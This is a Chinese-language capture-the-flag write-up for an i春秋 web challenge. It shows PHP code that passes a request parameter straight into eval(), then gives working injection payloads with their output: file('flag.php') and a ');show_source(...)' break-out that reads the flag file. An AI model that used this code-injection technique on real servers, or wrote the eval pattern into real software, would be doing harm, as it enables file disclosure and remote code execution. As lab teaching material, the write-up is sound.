Misc Web 爆破-2](https://www.ichunqiu.com/battalion?t=1)
题目内容:flag不在变量中。
访问网页得到php代码
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
依旧是通过请求变量hello
,再用var_dump()
显示,可以考虑文件包含,在url请求flag.php
文件
方法一
-
在PHP中有一个函数
file_get_contents()
:把整个文件读入一个字符串中,该函数是用于把文件的内容读入到一个字符串中的首选方法。构造payloadhttp://d7a0003ea7474a0386fbb99fdcf6ce82a31ccae449cc4ab8.changame.ichunqiu.com/?hello=file_get_contents('flag.php')
string(83) " <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);
-
貌似是
file_get_contents()
这个函数不行,找到另一个file
,与file_get_contents()
类似,不同的是file()
将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。http://d7a0003ea7474a0386fbb99fdcf6ce82a31ccae449cc4ab8.changame.ichunqiu.com/?hello=file('flag.php')
array(3) { [0]=> string(6) " string(32) "$flag = 'Too Young Too Simple'; " [2]=> string(45) "#flag{****************************}; " } <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);
方法二
可以用);
闭包,然后执行其他命令,如show_source
和它的别名highlight_file
http://d7a0003ea7474a0386fbb99fdcf6ce82a31ccae449cc4ab8.changame.ichunqiu.com/?hello=);show_source('flag.php');var_dump(
<?php $flag = 'Too Young Too Simple'; #flag{******************}; <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);
原理就是将hello=
之后的所有值赋值给$a
,然后输入var_dump()
内,最后执行为
var_dump();show_source('flag.php');var_dump();